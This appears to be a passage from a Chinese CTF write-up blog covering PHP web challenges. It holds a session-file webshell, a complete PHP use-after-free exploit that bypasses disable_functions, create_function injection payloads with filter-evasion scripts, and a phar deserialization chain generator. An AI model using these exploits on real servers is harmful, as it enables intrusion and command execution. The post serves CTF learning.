此时查看一下生成的 session,生成的 session 文件保存在 \runtime\session

sessionphp.png

session 里的内容:

a:1:{s:4:"name";s:8:"thinkphp";}

可以看到 session 的内容经过了序列化操作,只要将 session 的内容反序列化即可 getshell


这个师傅构造了一个向SESSION中写入值的类和函数,但是在本题中,搜索的内容直接被写入了SESSION(别问,问就是我也看不懂

image-20211208205225749

所以我们可以修改session为.php的后缀,然后

在搜索栏里搜个马,就可以在/runtime/session路径下访问并执行这个马

先试试phpinfo

/runtime/session/sess_0123456789012345678901234568.php

image-20211208203421218

写个一句话木马

image-20211208205558736

蚁剑连接

image-20211208205849571

根目录又flag但是打开没东西,还有一个readflag是二进制文件,猜测是要执行readflag来读取flag文件里的内容

但是在虚拟终端无法执行命令

image-20211208210015627

结合phpinfo里的禁用函数

能得出这是个突破disable_function限制执行命令的考点

之前[极客大挑战 2019]RCE ME也有这个考点(往上翻

但是在这道题里用蚁剑的插件没法绕过

上个exp(羡慕能写出这种exp的大师傅

<?php
pwn("/readflag");

function pwn($cmd)
{
    global $abc, $helper, $backtrace;

    class Vuln
    {
        public $a;

        public function __destruct()
        {
            global $backtrace;
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if (!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper
    {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8)
    {
        $address = 0;
        for ($j = $s - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p + $j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8)
    {
        $out = "";
        for ($i = 0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8)
    {
        $i = 0;
        for ($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8)
    {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if ($s != 8) {
            $leak %= 2 << ($s * 8) - 1;
        }
        return $leak;
    }

    function parse_elf($base)
    {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for ($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if ($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if ($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if (!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf)
    {
        list($data_addr, $text_size, $data_size) = $elf;
        for ($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if ($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if ($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak)
    {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for ($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if ($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs)
    {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if ($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while ($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg)
    {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if (stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for ($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) {
    };

    if (strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if (!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if (!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if (!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if (!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for ($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

把这个php文件找个地方传上去

image-20211208210715741

访问这个路径,得到flag

image-20211208210736589

[BJDCTF2020]EzPHP

这个题是个挺有意思的代码审计题

image-20211208211705547

中间这个东西链接好像寄了,但是不影响做题,源码里有串base32,解码为1nD3x.php

访问这个页面

image-20211208211820293

<?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
  preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>

过滤了一堆东西

image-20211209223849475

首先是这个,query_string获取的内容不会进行url解码,所以绕过这一步就只需要把传入的参数进行url编码就行

image-20211209224105760

这里可以用换行符%0a绕过preg_match的匹配

image-20211209224139505

这个由于检测的$_REQUEST,而对 $_REQUEST来说post的优先级大于get,所以要post传入和get内容相同的参数,把值改为数字就行

image-20211209224337739

这个要用data://伪协议就行

image-20211209224412665

常见的数组绕过

最后这也是最重要的地方

首先说一下create_function注入

create_function() 函数有两个参数 $args$code,用于创建一个 lambda 样式的函数

image-20211209225145733

但是我们可以通过对b进行操作,来实现这个函数的提前闭合,并写入我们想要的命令,然后通过注释符使语句合理

image-20211209225534763

image-20211209224450239

$arg$code 变量都是可控的,因为 extract() 函数使用数组键名作为变量名,使用数组键值作为变量值,针对数组中的每个元素,将在当前符号表中创建对应的一个变量。因此只要 extract() 内的数组键名为 argcode,键值为我们构造的用来注入的代码,即可实现 $arg$code 的变量覆盖,导致代码注入。

再利用

var_dump(get_defined_vars())

用来输出所有变量和值

/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%3b%62%61%73%65%36%34%2c%5a%47%56%69%64%56%39%6b%5a%57%4a%31%58%32%46%78%64%57%45%3d&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%61%72%67%5d=%7d%76%61%72%5f%64%75%6d%70%28%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73%28%29%29%3b%2f%2f&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e

解码内容:
/1nD3x.php?file=data://text/plain;base64,ZGVidV9kZWJ1X2FxdWE=&debu=aqua_is_cute
&shana[]=1&passwd[]=2&flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function

image-20211209214827071

但是看见flag在rea1fl4g里

所以要利用require包含这个文件然后再用get_defined_vars()读一遍试试

但是又过滤了.

所以试试base64编码

GET:
/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%3b%62%61%73%65%36%34%2c%5a%47%56%69%64%56%39%6b%5a%57%4a%31%58%32%46%78%64%57%45%3d&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%61%72%67%5d=%7d%72%65%71%75%69%72%65%28%62%61%73%65%36%34%5f%64%65%63%6f%64%65%28%63%6d%56%68%4d%57%5a%73%4e%47%63%75%63%47%68%77%29%29%3b%76%61%72%5f%64%75%6d%70%28%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73%28%29%29%3b%2f%2f&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e
POST:
file=1&debu=1&shana[]=1&passwd[]=1

image-20211209215908383

还是不行,尝试伪协议读源码了只能

require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)

采用取反绕过过滤

GET:
/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%3b%62%61%73%65%36%34%2c%5a%47%56%69%64%56%39%6b%5a%57%4a%31%58%32%46%78%64%57%45%3d&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e


POST:
file=1&debu=1&shana[]=1&passwd[]=1
// preg_match() 只能匹配字符串,数组得以绕过。

image-20211209232958132

image-20211209221809797

2020BJDCTF “EzPHP” +Y1ngCTF “Y1ng’s Baby Code” 官方writeup – 颖奇L'Amore (gem-love.com)

原题用异或也可以,贴个脚本先,万一以后能用到

#Author: piCEBDC7
str_= '1flag.php'
str_=list(str_)
final=''
for x in str_:
    print(hex(~ord(x)&0xff))
    final+=hex(~ord(x)&0xff)
print(str_)
final = final.replace('0x','%')
final+='^'
for x in range(len(str_)):
    final+=r'%ff'
print(final)

取反脚本

<?
//Author: 颖奇L'Amore
//Blog: www.gem-love.com
$a = "p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = 1 f l a g . p h p";
$arr1 = explode(' ', $a);
echo "<br>~(";
foreach ($arr1 as $key => $value) {
	echo "%".bin2hex(~$value);
}
echo ")<br>";

用羽师傅那个也行

image-20211209235444083

[CISCN2019 华北赛区 Day1 Web1]Dropbox

知识点:phar的反序列化

传个jpg文件然后下载的时候抓包有个filename,这里可以实现任意文件读取

image-20211210213306758

image-20211210213358180

index.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>


<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

download.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

login.php

<?php
session_start();
if (isset($_SESSION['login'])) {
    header("Location: index.php");
    die();
}
?>

<?php
include "class.php";

if (isset($_GET['register'])) {
    echo "<script>toast('注册成功', 'info');</script>";
}

if (isset($_POST["username"]) && isset($_POST["password"])) {
    $u = new User();
    $username = (string) $_POST["username"];
    $password = (string) $_POST["password"];
    if (strlen($username) < 20 && $u->verify_user($username, $password)) {
        $_SESSION['login'] = true;
        $_SESSION['username'] = htmlentities($username);
        $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
        if (!is_dir($sandbox)) {
            mkdir($sandbox);
        }
        $_SESSION['sandbox'] = $sandbox;
        echo("<script>window.location.href='index.php';</script>");
        die();
    }
    echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

phar反序列化利用条件:

1)phar文件要能够上传至服务器

2)要有可用的魔术方法为跳板

3)文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤

对于本题而言,第一条满足,第二条有一个魔术方法__call()和FileList类、User类的__destruct(),恐怕想不利用它们也不行,第三条后半部分没问题,前半部分则需要我们找一找。

既文件操作函数,就应该在本题的File类(至多也在FileList类)的方法中寻找,毕竟整个题目基本上都是在面向对象的基础上编程,对文件的操作也都是对File类的对象的操作,

我们看到,open()方法调用了file_exists()和is_dir()函数(注意name方法里的basename函数不算),size()方法调用了filesize()函数,delete()方法调用了unlink()函数,close()方法file_get_contents()函数。

本题要读取/flag.txt文件,故刚刚列举的这些函数中,虽然文件操作函数不少,可以用来触发反序列化,对读取文件有用的只有close()方法中的file_get_contents()函数这一个,所以我们可以对它分析,

这个时候,如果想不到__call()方法和__destruct()方法,基本上就可以放弃了,在phar题目里,魔术方法一般来讲是必须要用的,

这里我们看到,FileList的__call()方法语义简单,就是遍历files数组,对每一个file变量执行一次$func,然后将结果存进$results数组,

image-20220206173648992

接下来的__destruct__函数会将FileList对象的funcs变量和results数组中的内容以HTML表格的形式输出在index.php上(我们可以看到,index.php里创建了一个FileList对象,在脚本执行完毕后触发__destruct__,则会输出该用户目录下的文件信息),

User对象的__destruct()方法,

image-20220206173602900

无非就是 脚本执行完毕后,执行$db的close()的方法(来关闭数据库连接),但话说回来,没有括号里的话,这句话依然成立,而且这个'close'与File类中的close()方法同名。所以,当db的值为一个FileList对象时,User对象析构之时,会触发FileList->close(),但FileList里没有这个方法,于是调用_call函数,进而执行file_get_contents($filename),读取了文件内容。整个链的结构也很简单清晰:在我们控制$db为一个FileList对象的情况下,$user->__destruct() => $db->close() => $db->__call('close') => $file->close() => $results=file_get_contents($filename) => FileList->__destruct()输出$result。

反序列化脚本

<?php
    class User {
        public $db;
    } 
    class File{
        public $filename;
        public function __construct($name){
            $this->filename=$name;
        }
    }
    class FileList {
        private $files;
        public function __construct(){
            $this->files=array(new File('/flag.txt'));
        }
    } 
    $o = new User();
    $o->db =new FileList();
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->addFromString("test.txt", "test"); 
    $phar->stopBuffering();
?>

image-20211210220146818

参考文章

CISCN2019 华北赛区 Day1 Web1]Dropbox之愚见 - 简书 (jianshu.com)

CISCN2019 华北赛区 Day1 Web1]Dropbox_silence1_的博客-CSDN博客_buuctf 反序列化


文章作者: Ethe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Ethe !
评论
  目录